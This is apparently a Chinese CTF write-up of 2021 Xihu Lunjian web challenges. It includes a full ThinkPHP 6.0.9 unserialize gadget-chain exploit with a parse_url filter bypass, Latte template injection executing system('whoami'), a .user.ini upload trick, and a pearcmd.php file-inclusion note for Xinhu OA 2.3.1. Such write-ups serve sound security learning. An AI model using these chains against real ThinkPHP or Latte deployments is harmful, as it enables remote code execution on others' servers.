前言
随便记一下wp
OA?RCE?
信呼OA最新版2.3.1
存在文件包含,利用pearcmd.php
审计过程:西湖论剑-信呼oa审计复盘
过两天审计一下
灏妹的web
扫

EasyTp
根据报错显示是6.0.9版本,没有写权限
/public/?file=Index.php

<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController { public function index() { return '123'; if (isset($_GET['file'])) { $file = $_GET['file']; $file = trim($file); $file = preg_replace('/\s+/','',$file); if(preg_match("/flag/i",$file)){ die('<h2> no flag..');} if(file_exists($file)){ echo "file_exists() return true..</br>"; die( "hacker!!!"); }else { echo "file_exists() return false.."; @highlight_file($file); }
} else {
echo "Error! no file parameter <br/>"; echo "highlight_file Error"; }
}
public function unser(){ if(isset($_GET['vulvul'])){ $ser = $_GET['vulvul']; $vul = parse_url($_SERVER['REQUEST_URI']); parse_str($vul['query'],$query);
foreach($query as $value) { if(preg_match("/O/i",$value)) { die('</br> <h1>Hacking?'); exit(); } } unserialize($ser); }
} }
|
parse_url绕过
parse_url绕过 - Lee-404 - 博客园 (cnblogs.com)
http://xxxxx ///public/index.php/Index/unser/?vulvul=
|
/public/index.php/Index/unser/?vulvul=
复现分析写过博客 TP6.0.9 eval
exp:
<?php namespace think\model\concern{ trait Attribute{ private $data = [7]; } }
namespace think\view\driver{ class Php{} }
namespace think{ abstract class Model{ use model\concern\Attribute; private $lazySave; protected $withEvent; protected $table; function __construct($cmd){ $this->lazySave = true; $this->withEvent = false; $this->table = new route\Url(new Middleware,new Validate,$cmd); } } class Middleware{ public $request = 2333; } class Validate{ protected $type; function __construct(){ $this->type = [ "getDomainBind" => [new view\driver\Php,'display'] ]; } } }
namespace think\model{ use think\Model; class Pivot extends Model{} }
namespace think\route{ class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct($app,$route,$cmd){ $this->domain = $cmd; $this->app = $app; $this->route = $route; } } }
namespace{ echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>'))); }
|
Ezupload
<?php error_reporting(0); require 'vendor/autoload.php'; $latte = new Latte\Engine; $latte->setTempDirectory('tempdir'); $policy = new Latte\Sandbox\SecurityPolicy; $policy->allowMacros(['block', 'if', 'else','=']); $policy->allowFilters($policy::ALL); $policy->allowFunctions(['trim', 'strlen']); $latte->setPolicy($policy); $latte->setSandboxMode(); $latte->setAutoRefresh(false);
if(isset($_FILES['file'])){ $uploaddir = '/var/www/html/tempdir/'; $filename = basename($_FILES['file']['name']); if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){ die('no'); } $file_conents = file_get_contents($_FILES['file']['tmp_name']); if(strlen($file_conents)>28 or stristr($file_conents,'<')){ die('no'); } $uploadfile = $uploaddir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $message = $filename ." was successfully uploaded."; } else { $message = "error!"; }
$params = [ 'message' => $message, ]; $latte->render('tempdir/index.latte', $params); } else if($_GET['source']==1){ highlight_file(__FILE__); } else{ $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']); }
|
得到 latte
安装:composer require latte/latte

本地尝试会发现会创建缓存,并且将内容生成到php文件,然后就去执行这个php



传入 {=cystest}
这个应该就是模板里的标志了,可能就是跟ssti里面的一个意思吧
{="${system(‘whoami’)}"}
会执行命令系统

还可以上传 .user.ini
访问缓存php文件就行了
wp
西湖论剑·2021中国杭州网络安全技能大赛—WP